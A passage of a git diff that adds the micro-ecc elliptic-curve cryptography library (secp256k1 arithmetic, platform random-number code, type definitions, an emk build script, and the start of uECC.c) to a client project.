const struct uECC_Curve_t curve_secp256k1 = { + num_words_secp256k1, + num_bytes_secp256k1, + 256, /* num_n_bits */ + { BYTES_TO_WORDS_8(2F, FC, FF, FF, FE, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(41, 41, 36, D0, 8C, 5E, D2, BF), + BYTES_TO_WORDS_8(3B, A0, 48, AF, E6, DC, AE, BA), + BYTES_TO_WORDS_8(FE, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(98, 17, F8, 16, 5B, 81, F2, 59), + BYTES_TO_WORDS_8(D9, 28, CE, 2D, DB, FC, 9B, 02), + BYTES_TO_WORDS_8(07, 0B, 87, CE, 95, 62, A0, 55), + BYTES_TO_WORDS_8(AC, BB, DC, F9, 7E, 66, BE, 79), + + BYTES_TO_WORDS_8(B8, D4, 10, FB, 8F, D0, 47, 9C), + BYTES_TO_WORDS_8(19, 54, 85, A6, 48, B4, 17, FD), + BYTES_TO_WORDS_8(A8, 08, 11, 0E, FC, FB, A4, 5D), + BYTES_TO_WORDS_8(65, C4, A3, 26, 77, DA, 3A, 48) }, + { BYTES_TO_WORDS_8(07, 00, 00, 00, 00, 00, 00, 00), + BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00), + BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00), + BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00) }, + &double_jacobian_secp256k1, +#if uECC_SUPPORT_COMPRESSED_POINT + &mod_sqrt_default, +#endif + &x_side_secp256k1, +#if (uECC_OPTIMIZATION_LEVEL > 0) + &vli_mmod_fast_secp256k1 +#endif +}; + +uECC_Curve uECC_secp256k1(void) { return &curve_secp256k1; } + + +/* Double in place */ +static void double_jacobian_secp256k1(uECC_word_t * X1, + uECC_word_t * Y1, + uECC_word_t * Z1, + uECC_Curve curve) { + /* t1 = X, t2 = Y, t3 = Z */ + uECC_word_t t4[num_words_secp256k1]; + uECC_word_t t5[num_words_secp256k1]; + + if (uECC_vli_isZero(Z1, num_words_secp256k1)) { + return; + } + + uECC_vli_modSquare_fast(t5, Y1, curve); /* t5 = y1^2 */ + uECC_vli_modMult_fast(t4, X1, t5, curve); /* t4 = x1*y1^2 = A */ + uECC_vli_modSquare_fast(X1, X1, curve); /* t1 = x1^2 */ + uECC_vli_modSquare_fast(t5, t5, curve); /* t5 = y1^4 */ + uECC_vli_modMult_fast(Z1, Y1, Z1, curve); /* t3 = y1*z1 = z3 */ + + uECC_vli_modAdd(Y1, X1, X1, curve->p, num_words_secp256k1); /* t2 = 2*x1^2 */ + uECC_vli_modAdd(Y1, Y1, X1, curve->p, num_words_secp256k1); /* t2 = 3*x1^2 */ + if (uECC_vli_testBit(Y1, 0)) { + uECC_word_t carry = uECC_vli_add(Y1, Y1, curve->p, num_words_secp256k1); + uECC_vli_rshift1(Y1, num_words_secp256k1); + Y1[num_words_secp256k1 - 1] |= carry << (uECC_WORD_BITS - 1); + } else { + uECC_vli_rshift1(Y1, num_words_secp256k1); + } + /* t2 = 3/2*(x1^2) = B */ + + uECC_vli_modSquare_fast(X1, Y1, curve); /* t1 = B^2 */ + uECC_vli_modSub(X1, X1, t4, curve->p, num_words_secp256k1); /* t1 = B^2 - A */ + uECC_vli_modSub(X1, X1, t4, curve->p, num_words_secp256k1); /* t1 = B^2 - 2A = x3 */ + + uECC_vli_modSub(t4, t4, X1, curve->p, num_words_secp256k1); /* t4 = A - x3 */ + uECC_vli_modMult_fast(Y1, Y1, t4, curve); /* t2 = B * (A - x3) */ + uECC_vli_modSub(Y1, Y1, t5, curve->p, num_words_secp256k1); /* t2 = B * (A - x3) - y1^4 = y3 */ +} + +/* Computes result = x^3 + b. result must not overlap x. */ +static void x_side_secp256k1(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve) { + uECC_vli_modSquare_fast(result, x, curve); /* r = x^2 */ + uECC_vli_modMult_fast(result, result, x, curve); /* r = x^3 */ + uECC_vli_modAdd(result, result, curve->b, curve->p, num_words_secp256k1); /* r = x^3 + b */ +} + +#if (uECC_OPTIMIZATION_LEVEL > 0) +static void omega_mult_secp256k1(uECC_word_t *result, const uECC_word_t *right); +static void vli_mmod_fast_secp256k1(uECC_word_t *result, uECC_word_t *product) { + uECC_word_t tmp[2 * num_words_secp256k1]; + uECC_word_t carry; + + uECC_vli_clear(tmp, num_words_secp256k1); + uECC_vli_clear(tmp + num_words_secp256k1, num_words_secp256k1); + + omega_mult_secp256k1(tmp, product + num_words_secp256k1); /* (Rq, q) = q * c */ + + carry = uECC_vli_add(result, product, tmp, num_words_secp256k1); /* (C, r) = r + q */ + uECC_vli_clear(product, num_words_secp256k1); + omega_mult_secp256k1(product, tmp + num_words_secp256k1); /* Rq*c */ + carry += uECC_vli_add(result, result, product, num_words_secp256k1); /* (C1, r) = r + Rq*c */ + + while (carry > 0) { + --carry; + uECC_vli_sub(result, result, curve_secp256k1.p, num_words_secp256k1); + } + if (uECC_vli_cmp_unsafe(result, curve_secp256k1.p, num_words_secp256k1) > 0) { + uECC_vli_sub(result, result, curve_secp256k1.p, num_words_secp256k1); + } +} + +#if uECC_WORD_SIZE == 1 +static void omega_mult_secp256k1(uint8_t * result, const uint8_t * right) { + /* Multiply by (2^32 + 2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */ + uECC_word_t r0 = 0; + uECC_word_t r1 = 0; + uECC_word_t r2 = 0; + wordcount_t k; + + /* Multiply by (2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */ + muladd(0xD1, right[0], &r0, &r1, &r2); + result[0] = r0; + r0 = r1; + r1 = r2; + /* r2 is still 0 */ + + for (k = 1; k < num_words_secp256k1; ++k) { + muladd(0x03, right[k - 1], &r0, &r1, &r2); + muladd(0xD1, right[k], &r0, &r1, &r2); + result[k] = r0; + r0 = r1; + r1 = r2; + r2 = 0; + } + muladd(0x03, right[num_words_secp256k1 - 1], &r0, &r1, &r2); + result[num_words_secp256k1] = r0; + result[num_words_secp256k1 + 1] = r1; + /* add the 2^32 multiple */ + result[4 + num_words_secp256k1] = + uECC_vli_add(result + 4, result + 4, right, num_words_secp256k1); +} +#elif uECC_WORD_SIZE == 4 +static void omega_mult_secp256k1(uint32_t * result, const uint32_t * right) { + /* Multiply by (2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */ + uint32_t carry = 0; + wordcount_t k; + + for (k = 0; k < num_words_secp256k1; ++k) { + uint64_t p = (uint64_t)0x3D1 * right[k] + carry; + result[k] = p; + carry = p >> 32; + } + result[num_words_secp256k1] = carry; + /* add the 2^32 multiple */ + result[1 + num_words_secp256k1] = + uECC_vli_add(result + 1, result + 1, right, num_words_secp256k1); +} +#else +static void omega_mult_secp256k1(uint64_t * result, const uint64_t * right) { + uECC_word_t r0 = 0; + uECC_word_t r1 = 0; + uECC_word_t r2 = 0; + wordcount_t k; + + /* Multiply by (2^32 + 2^9 + 2^8 + 2^7 + 2^6 + 2^4 + 1). */ + for (k = 0; k < num_words_secp256k1; ++k) { + muladd(0x1000003D1ull, right[k], &r0, &r1, &r2); + result[k] = r0; + r0 = r1; + r1 = r2; + r2 = 0; + } + result[num_words_secp256k1] = r0; +} +#endif /* uECC_WORD_SIZE */ +#endif /* (uECC_OPTIMIZATION_LEVEL > 0) */ + +#endif /* uECC_SUPPORTS_secp256k1 */ + +#endif /* _UECC_CURVE_SPECIFIC_H_ */ diff --git a/client/libs/crypto/micro-ecc/emk_project.py b/client/libs/crypto/micro-ecc/emk_project.py new file mode 100644 index 0000000..940fadc --- /dev/null +++ b/client/libs/crypto/micro-ecc/emk_project.py @@ -0,0 +1,127 @@ +import os + +c, link, asm, utils = emk.module("c", "link", "asm", "utils") + +default_compile_flags = ["-fvisibility=hidden", "-Wall", "-Wextra", "-Wshadow", "-Werror", "-Wno-missing-field-initializers", "-Wno-unused-parameter", \ + "-Wno-comment", "-Wno-unused", "-Wno-unknown-pragmas"] +default_link_flags = [] +opt_flags = {"dbg":["-g"], "std":["-O2"], "max":["-O3"], "small":["-Os"]} +opt_link_flags = {"dbg":[], "std":[], "max":[], "small":[]} +c_flags = ["-std=c99"] +cxx_flags = ["-std=c++11", "-Wno-reorder", "-fno-rtti", "-fno-exceptions"] +c_link_flags = [] +cxx_link_flags = ["-fno-rtti", "-fno-exceptions"] + +def setup_build_dir(): + build_arch = None + if "arch" in emk.options: + build_arch = emk.options["arch"] + elif not emk.cleaning: + build_arch = "osx" + emk.options["arch"] = build_arch + + opt_level = None + if "opt" in emk.options: + level = emk.options["opt"] + if level in opt_flags: + opt_level = level + else: + emk.log.warning("Unknown optimization level '%s'" % (level)) + elif not emk.cleaning: + opt_level = "dbg" + emk.options["opt"] = opt_level + + dirs = ["__build__"] + if build_arch: + dirs.append(build_arch) + if opt_level: + dirs.append(opt_level) + emk.build_dir = os.path.join(*dirs) + +def setup_osx(): + global c + global link + + flags = [("-arch", "x86_64"), "-fno-common", "-Wnewline-eof"] + c.flags.extend(flags) + c.cxx.flags += ["-stdlib=libc++"] + link.cxx.flags += ["-stdlib=libc++"] + + link_flags = [("-arch", "x86_64")] + link.local_flags.extend(link_flags) + +def setup_avr(): + global c + global link + + c.compiler = c.GccCompiler("/Projects/avr-tools/bin/avr-") + c.flags += ["-mmcu=atmega256rfr2", "-ffunction-sections", "-fdata-sections"] + link.linker = link.GccLinker("/Projects/avr-tools/bin/avr-") + link.flags += ["-mmcu=atmega256rfr2", "-mrelax", "-Wl,--gc-sections"] + link.strip = True + +def setup_arm_thumb(): + global c + global link + global asm + global utils + + asm.assembler = asm.GccAssembler("/cross/arm_cortex/bin/arm-none-eabi-") + c.compiler = c.GccCompiler("/cross/arm_cortex/bin/arm-none-eabi-") + link.linker = link.GccLinker("/cross/arm_cortex/bin/arm-none-eabi-") + + c.flags.extend(["-mcpu=cortex-m0", "-mthumb", "-ffunction-sections", "-fdata-sections", "-fno-builtin-fprintf", "-fno-builtin-printf"]) + c.defines["LPC11XX"] = 1 + + link.local_flags.extend(["-mcpu=cortex-m0", "-mthumb", "-nostartfiles", "-nostdlib", "-Wl,--gc-sections"]) + link.local_flags.extend(["-Tflash.lds", "-L/Projects/lpc11xx/core", "/Projects/lpc11xx/core/" + emk.build_dir + "/board_cstartup.o"]) + link.local_syslibs += ["gcc"] + link.depdirs += ["/Projects/lpc11xx/stdlib"] + + def do_objcopy(produces, requires): + utils.call("/cross/arm_cortex/bin/arm-none-eabi-objcopy", "-O", "binary", requires[0], produces[0]) + + def handle_exe(path): + emk.depend(path, "/Projects/lpc11xx/core/" + emk.build_dir + "/board_cstartup.o") + emk.rule(do_objcopy, path + ".bin", path, cwd_safe=True, ex_safe=True) + emk.autobuild(path + ".bin") + + link.exe_funcs.append(handle_exe) + link.strip = True + + emk.recurse("/Projects/lpc11xx/core") + +def setup_linux_rpi(): + global c + global link + + c.compiler = c.GccCompiler("/Volumes/xtools/arm-none-linux-gnueabi/bin/arm-none-linux-gnueabi-") + link.linker = link.GccLinker("/Volumes/xtools/arm-none-linux-gnueabi/bin/arm-none-linux-gnueabi-") + + c.flags.extend(["-fomit-frame-pointer"]) + +setup_build_dir() + +setup_funcs = {"osx":setup_osx, "avr":setup_avr, "arm_thumb":setup_arm_thumb, "rpi": setup_linux_rpi} + +if not emk.cleaning: + build_arch = emk.options["arch"] + opt_level = emk.options["opt"] + + c.flags.extend(default_compile_flags) + c.flags.extend(opt_flags[opt_level]) + c.c.flags.extend(c_flags) + c.cxx.flags.extend(cxx_flags) + link.local_flags.extend(default_link_flags) + link.local_flags.extend(opt_link_flags[opt_level]) + link.c.local_flags.extend(c_link_flags) + link.cxx.local_flags.extend(cxx_link_flags) + + c.include_dirs.append("$:proj:$") + + if build_arch in setup_funcs: + setup_funcs[build_arch]() + else: + raise emk.BuildError("Unknown target arch '%s'" % (build_arch)) + + c.defines["TARGET_ARCH_" + build_arch.upper()] = 1 diff --git a/client/libs/crypto/micro-ecc/emk_rules.py b/client/libs/crypto/micro-ecc/emk_rules.py new file mode 100644 index 0000000..b1d76c8 --- /dev/null +++ b/client/libs/crypto/micro-ecc/emk_rules.py @@ -0,0 +1,3 @@ +c, link = emk.module("c", "link") + +emk.subdir("test") diff --git a/client/libs/crypto/micro-ecc/platform-specific.inc b/client/libs/crypto/micro-ecc/platform-specific.inc new file mode 100644 index 0000000..f26ecb1 --- /dev/null +++ b/client/libs/crypto/micro-ecc/platform-specific.inc @@ -0,0 +1,67 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_PLATFORM_SPECIFIC_H_ +#define _UECC_PLATFORM_SPECIFIC_H_ + +#include "types.h" + +#if (defined(_WIN32) || defined(_WIN64)) +/* Windows */ + +#define WIN32_LEAN_AND_MEAN +#include +#include + +static int default_RNG(uint8_t *dest, unsigned size) { + HCRYPTPROV prov; + if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { + return 0; + } + + CryptGenRandom(prov, size, (BYTE *)dest); + CryptReleaseContext(prov, 0); + return 1; +} +#define default_RNG_defined 1 + +#elif defined(unix) || defined(__linux__) || defined(__unix__) || defined(__unix) || \ + (defined(__APPLE__) && defined(__MACH__)) || defined(uECC_POSIX) + +/* Some POSIX-like system with /dev/urandom or /dev/random. */ +#include +#include +#include + +#ifndef O_CLOEXEC + #define O_CLOEXEC 0 +#endif + +static int default_RNG(uint8_t *dest, unsigned size) { + int fd = open("/dev/urandom", O_RDONLY | O_CLOEXEC); + if (fd == -1) { + fd = open("/dev/random", O_RDONLY | O_CLOEXEC); + if (fd == -1) { + return 0; + } + } + + char *ptr = (char *)dest; + size_t left = size; + while (left > 0) { + ssize_t bytes_read = read(fd, ptr, left); + if (bytes_read <= 0) { /* read failed */ + close(fd); + return 0; + } + left -= bytes_read; + ptr += bytes_read; + } + + close(fd); + return 1; +} +#define default_RNG_defined 1 + +#endif /* platform */ + +#endif /* _UECC_PLATFORM_SPECIFIC_H_ */ diff --git a/client/libs/crypto/micro-ecc/types.h b/client/libs/crypto/micro-ecc/types.h new file mode 100644 index 0000000..7cb1a28 --- /dev/null +++ b/client/libs/crypto/micro-ecc/types.h @@ -0,0 +1,98 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_TYPES_H_ +#define _UECC_TYPES_H_ + +#ifndef uECC_PLATFORM + #if __AVR__ + #define uECC_PLATFORM uECC_avr + #elif defined(__thumb2__) || defined(_M_ARMT) /* I think MSVC only supports Thumb-2 targets */ + #define uECC_PLATFORM uECC_arm_thumb2 + #elif defined(__thumb__) + #define uECC_PLATFORM uECC_arm_thumb + #elif defined(__arm__) || defined(_M_ARM) + #define uECC_PLATFORM uECC_arm + #elif defined(__aarch64__) + #define uECC_PLATFORM uECC_arm64 + #elif defined(__i386__) || defined(_M_IX86) || defined(_X86_) || defined(__I86__) + #define uECC_PLATFORM uECC_x86 + #elif defined(__amd64__) || defined(_M_X64) + #define uECC_PLATFORM uECC_x86_64 + #else + #define uECC_PLATFORM uECC_arch_other + #endif +#endif + +#ifndef uECC_WORD_SIZE + #if uECC_PLATFORM == uECC_avr + #define uECC_WORD_SIZE 1 + #elif (uECC_PLATFORM == uECC_x86_64 || uECC_PLATFORM == uECC_arm64) + #define uECC_WORD_SIZE 8 + #else + #define uECC_WORD_SIZE 4 + #endif +#endif + +#if (uECC_WORD_SIZE != 1) && (uECC_WORD_SIZE != 4) && (uECC_WORD_SIZE != 8) + #error "Unsupported value for uECC_WORD_SIZE" +#endif + +#if ((uECC_PLATFORM == uECC_avr) && (uECC_WORD_SIZE != 1)) + #pragma message ("uECC_WORD_SIZE must be 1 for AVR") + #undef uECC_WORD_SIZE + #define uECC_WORD_SIZE 1 +#endif + +#if ((uECC_PLATFORM == uECC_arm || uECC_PLATFORM == uECC_arm_thumb || \ + uECC_PLATFORM == uECC_arm_thumb2) && \ + (uECC_WORD_SIZE != 4)) + #pragma message ("uECC_WORD_SIZE must be 4 for ARM") + #undef uECC_WORD_SIZE + #define uECC_WORD_SIZE 4 +#endif + +#if defined(__SIZEOF_INT128__) || ((__clang_major__ * 100 + __clang_minor__) >= 302) + #define SUPPORTS_INT128 1 +#else + #define SUPPORTS_INT128 0 +#endif + +typedef int8_t wordcount_t; +typedef int16_t bitcount_t; +typedef int8_t cmpresult_t; + +#if (uECC_WORD_SIZE == 1) + +typedef uint8_t uECC_word_t; +typedef uint16_t uECC_dword_t; + +#define HIGH_BIT_SET 0x80 +#define uECC_WORD_BITS 8 +#define uECC_WORD_BITS_SHIFT 3 +#define uECC_WORD_BITS_MASK 0x07 + +#elif (uECC_WORD_SIZE == 4) + +typedef uint32_t uECC_word_t; +typedef uint64_t uECC_dword_t; + +#define HIGH_BIT_SET 0x80000000 +#define uECC_WORD_BITS 32 +#define uECC_WORD_BITS_SHIFT 5 +#define uECC_WORD_BITS_MASK 0x01F + +#elif (uECC_WORD_SIZE == 8) + +typedef uint64_t uECC_word_t; +#if SUPPORTS_INT128 +typedef unsigned __int128 uECC_dword_t; +#endif + +#define HIGH_BIT_SET 0x8000000000000000ull +#define uECC_WORD_BITS 64 +#define uECC_WORD_BITS_SHIFT 6 +#define uECC_WORD_BITS_MASK 0x03F + +#endif /* uECC_WORD_SIZE */ + +#endif /* _UECC_TYPES_H_ */ diff --git a/client/libs/crypto/micro-ecc/uECC.c b/client/libs/crypto/micro-ecc/uECC.c new file mode 100644 index 0000000..c385aef --- /dev/null +++ b/client/libs/crypto/micro-ecc/uECC.c @@ -0,0 +1,1525 @@ +/* Copyright 2014, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#include "uECC.h" +#include "uECC_vli.h" + +#ifndef uECC_RNG_MAX_TRIES + #define uECC_RNG_MAX_TRIES 64 +#endif + +#if uECC_ENABLE_VLI_API + #define uECC_VLI_API +#else + #define uECC_VLI_API static +#endif + +#define CONCATX(a, ...) a ## __VA_ARGS__ +#define CONCAT(a, ...) CONCATX(a, __VA_ARGS__) + +#define STRX(a) #a +#define STR(a) STRX(a) + +#define EVAL(...) EVAL1(EVAL1(EVAL1(EVAL1(__VA_ARGS__)))) +#define EVAL1(...) EVAL2(EVAL2(EVAL2(EVAL2(__VA_ARGS__)))) +#define EVAL2(...) EVAL3(EVAL3(EVAL3(EVAL3(__VA_ARGS__)))) +#define EVAL3(...) EVAL4(EVAL4(EVAL4(EVAL4(__VA_ARGS__)))) +#define EVAL4(...) __VA_ARGS__ + +#define DEC_1 0 +#define DEC_2 1 +#define DEC_3 2 +#define DEC_4 3 +#define DEC_5 4 +#define DEC_6 5 +#define DEC_7 6 +#define DEC_8 7 +#define DEC_9 8 +#define DEC_10 9 +#define DEC_11 10 +#define DEC_12 11 +#define DEC_13 12 +#define DEC_14 13 +#define DEC_15 14 +#define DEC_16 15 +#define DEC_17 16 +#define DEC_18 17 +#define DEC_19 18 +#define DEC_20 19 +#define DEC_21 20 +#define DEC_22 21 +#define DEC_23 22 +#define DEC_24 23 +#define DEC_25 24 +#define DEC_26 25 +#define DEC_27 26 +#define DEC_28 27 +#define DEC_29 28 +#define DEC_30 29 +#define DEC_31 30 +#define DEC_32 31 + +#define DEC(N) CONCAT(DEC_, N) + +#define SECOND_ARG(_, val, ...) val +#define SOME_CHECK_0 ~, 0 +#define GET_SECOND_ARG(...) SECOND_ARG(__VA_ARGS__, SOME,) +#define SOME_OR_0(N) GET_SECOND_ARG(CONCAT(SOME_CHECK_, N)) + +#define EMPTY(...) +#define DEFER(...) __VA_ARGS__ EMPTY() + +#define REPEAT_NAME_0() REPEAT_0 +#define REPEAT_NAME_SOME() REPEAT_SOME +#define REPEAT_0(...) +#define REPEAT_SOME(N, stuff) DEFER(CONCAT(REPEAT_NAME_, SOME_OR_0(DEC(N))))()(DEC(N), stuff) stuff +#define REPEAT(N, stuff) EVAL(REPEAT_SOME(N, stuff)) + +#define REPEATM_NAME_0() REPEATM_0 +#define REPEATM_NAME_SOME() REPEATM_SOME +#define REPEATM_0(...) +#define REPEATM_SOME(N, macro) macro(N) \ + DEFER(CONCAT(REPEATM_NAME_, SOME_OR_0(DEC(N))))()(DEC(N), macro) +#define REPEATM(N, macro) EVAL(REPEATM_SOME(N, macro)) + +#include "platform-specific.inc" + +#if (uECC_WORD_SIZE == 1) + #if uECC_SUPPORTS_secp160r1 + #define uECC_MAX_WORDS 21 /* Due to the size of curve_n. */ + #endif + #if uECC_SUPPORTS_secp192r1 + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 24 + #endif + #if uECC_SUPPORTS_secp224r1 + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 28 + #endif + #if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1) + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 32 + #endif +#elif (uECC_WORD_SIZE == 4) + #if uECC_SUPPORTS_secp160r1 + #define uECC_MAX_WORDS 6 /* Due to the size of curve_n. */ + #endif + #if uECC_SUPPORTS_secp192r1 + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 6 + #endif + #if uECC_SUPPORTS_secp224r1 + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 7 + #endif + #if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1) + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 8 + #endif +#elif (uECC_WORD_SIZE == 8) + #if uECC_SUPPORTS_secp160r1 + #define uECC_MAX_WORDS 3 + #endif + #if uECC_SUPPORTS_secp192r1 + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 3 + #endif + #if uECC_SUPPORTS_secp224r1 + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 4 + #endif + #if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1) + #undef uECC_MAX_WORDS + #define uECC_MAX_WORDS 4 + #endif +#endif /* uECC_WORD_SIZE */ + +#define BITS_TO_WORDS(num_bits) ((num_bits + ((uECC_WORD_SIZE * 8) - 1)) / (uECC_WORD_SIZE * 8)) +#define BITS_TO_BYTES(num_bits) ((num_bits + 7) / 8) + +struct uECC_Curve_t { + wordcount_t num_words; + wordcount_t num_bytes; + bitcount_t num_n_bits; + uECC_word_t p[uECC_MAX_WORDS]; + uECC_word_t n[uECC_MAX_WORDS]; + uECC_word_t G[uECC_MAX_WORDS * 2]; + uECC_word_t b[uECC_MAX_WORDS]; + void (*double_jacobian)(uECC_word_t * X1, + uECC_word_t * Y1, + uECC_word_t * Z1, + uECC_Curve curve); +#if uECC_SUPPORT_COMPRESSED_POINT + void (*mod_sqrt)(uECC_word_t *a, uECC_Curve curve); +#endif + void (*x_side)(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve); +#if (uECC_OPTIMIZATION_LEVEL > 0) + void (*mmod_fast)(uECC_word_t *result, uECC_word_t *product); +#endif +}; + +static cmpresult_t uECC_vli_cmp_unsafe(const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words); + +#if (uECC_PLATFORM == uECC_arm || uECC_PLATFORM == uECC_arm_thumb || \ + uECC_PLATFORM == uECC_arm_thumb2) + #include "asm_arm.inc" +#endif + +#if (uECC_PLATFORM == uECC_avr) + #include "asm_avr.inc" +#endif + +#if default_RNG_defined +static uECC_RNG_Function g_rng_function = &default_RNG; +#else +static uECC_RNG_Function g_rng_function = 0; +#endif + +void uECC_set_rng(uECC_RNG_Function rng_function) { + g_rng_function = rng_function; +} + +#if !asm_clear +uECC_VLI_API void uECC_vli_clear(uECC_word_t *vli, wordcount_t num_words) { + wordcount_t i; + for (i = 0; i < num_words; ++i) { + vli[i] = 0; + } +} +#endif /* !asm_clear */ + +/* Constant-time comparison to zero - secure way to compare long integers */ +/* Returns 1 if vli == 0, 0 otherwise. */ +uECC_VLI_API uECC_word_t uECC_vli_isZero(const uECC_word_t *vli, wordcount_t num_words) { + uECC_word_t bits = 0; + wordcount_t i; + for (i = 0; i < num_words; ++i) { + bits |= vli[i]; + } + return (bits == 0); +} + +/* Returns nonzero if bit 'bit' of vli is set. */ +uECC_VLI_API uECC_word_t uECC_vli_testBit(const uECC_word_t *vli, bitcount_t bit) { + return (vli[bit >> uECC_WORD_BITS_SHIFT] & ((uECC_word_t)1 << (bit & uECC_WORD_BITS_MASK))); +} + +/* Counts the number of words in vli. */ +static wordcount_t vli_numDigits(const uECC_word_t *vli, const wordcount_t max_words) { + wordcount_t i; + /* Search from the end until we find a non-zero digit. + We do it in reverse because we expect that most digits will be nonzero. */ + for (i = max_words - 1; i >= 0 && vli[i] == 0; --i) { + } + + return (i + 1); +} + +/* Counts the number of bits required to represent vli. */ +uECC_VLI_API bitcount_t uECC_vli_numBits(const uECC_word_t *vli, const wordcount_t max_words) { + uECC_word_t i; + uECC_word_t digit; + + wordcount_t num_digits = vli_numDigits(vli, max_words); + if (num_digits == 0) { + return 0; + } + + digit = vli[num_digits - 1]; + for (i = 0; digit; ++i) { + digit >>= 1; + } + + return (((bitcount_t)(num_digits - 1) << uECC_WORD_BITS_SHIFT) + i); +} + +/* Sets dest = src. */ +#if !asm_set +uECC_VLI_API void uECC_vli_set(uECC_word_t *dest, const uECC_word_t *src, wordcount_t num_words) { + wordcount_t i; + for (i = 0; i < num_words; ++i) { + dest[i] = src[i]; + } +} +#endif /* !asm_set */ + +/* Returns sign of left - right. */ +static cmpresult_t uECC_vli_cmp_unsafe(const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + wordcount_t i; + for (i = num_words - 1; i >= 0; --i) { + if (left[i] > right[i]) { + return 1; + } else if (left[i] < right[i]) { + return -1; + } + } + return 0; +} + +/* Constant-time comparison function - secure way to compare long integers */ +/* Returns one if left == right, zero otherwise. */ +uECC_VLI_API uECC_word_t uECC_vli_equal(const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + uECC_word_t diff = 0; + wordcount_t i; + for (i = num_words - 1; i >= 0; --i) { + diff |= (left[i] ^ right[i]); + } + return (diff == 0); +} + +uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words); + +/* Returns sign of left - right, in constant time. */ +uECC_VLI_API cmpresult_t uECC_vli_cmp(const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + uECC_word_t tmp[uECC_MAX_WORDS]; + uECC_word_t neg = !!uECC_vli_sub(tmp, left, right, num_words); + uECC_word_t equal = uECC_vli_isZero(tmp, num_words); + return (!equal - 2 * neg); +} + +/* Computes vli = vli >> 1. */ +#if !asm_rshift1 +uECC_VLI_API void uECC_vli_rshift1(uECC_word_t *vli, wordcount_t num_words) { + uECC_word_t *end = vli; + uECC_word_t carry = 0; + + vli += num_words; + while (vli-- > end) { + uECC_word_t temp = *vli; + *vli = (temp >> 1) | carry; + carry = temp << (uECC_WORD_BITS - 1); + } +} +#endif /* !asm_rshift1 */ + +/* Computes result = left + right, returning carry. Can modify in place. */ +#if !asm_add +uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + uECC_word_t carry = 0; + wordcount_t i; + for (i = 0; i < num_words; ++i) { + uECC_word_t sum = left[i] + right[i] + carry; + if (sum != left[i]) { + carry = (sum < left[i]); + } + result[i] = sum; + } + return carry; +} +#endif /* !asm_add */ + +/* Computes result = left - right, returning borrow. Can modify in place. */ +#if !asm_sub +uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { + uECC_word_t borrow = 0; + wordcount_t i; + for (i = 0; i < num_words; ++i) { + uECC_word_t diff = left[i] - right[i] - borrow; + if (diff != left[i]) { + borrow = (diff > left[i]); + } + result[i] = diff; + } + return borrow; +} +#endif /* !asm_sub */ + +#if !asm_mult || (uECC_SQUARE_FUNC && !asm_square) || \ + (uECC_SUPPORTS_secp256k1 && (uECC_OPTIMIZATION_LEVEL > 0) && \ + ((uECC_WORD_SIZE == 1) || (uECC_WORD_SIZE == 8))) +static void muladd(uECC_word_t a, + uECC_word_t b, + uECC_word_t *r0, + uECC_word_t *r1, + uECC_word_t *r2) { +#if uECC_WORD_SIZE == 8 && !SUPPORTS_INT128 + uint64_t a0 = a & 0xffffffffull; + uint64_t a1 = a >> 32; + uint64_t b0 = b & 0xffffffffull; + uint64_t b1 = b >> 32; + + uint64_t i0 = a0 * b0; + uint64_t i1 = a0 * b1; + uint64_t i2 = a1 * b0; + uint64_t i3 = a1 * b1; + + uint64_t p0, p1; + + i2 += (i0 >> 32); + i2 += i1; + if (i2 < i1) { /* overflow */ + i3 += 0x100000000ull; + } + + p0 = (i0 & 0xffffffffull) | (i2 << 32); + p1 = i3 + (i2 >> 32); + + *r0 += p0; + *r1 += (p1 + (*r0 < p0)); + *r2 += ((*r1 < p1) || (*r1 == p1 && *r0 < p0)); +#else + uECC_dword_t p = (uECC_dword_t)a * b; + uECC_dword_t r01 = ((uECC_dword_t)(*r1) << uECC_WORD_BITS) | *r0; + r01 += p; + *r2 += (r01 < p); + *r1 = r01 >> uECC_WORD_BITS; + *r0 = (uECC_word_t)r01; +#endif +} +#endif /* muladd needed */ + +#if !asm_mult +uECC_VLI_API void uECC_vli_mult(uECC_word_t *result, + const uECC_word_t *left, + const 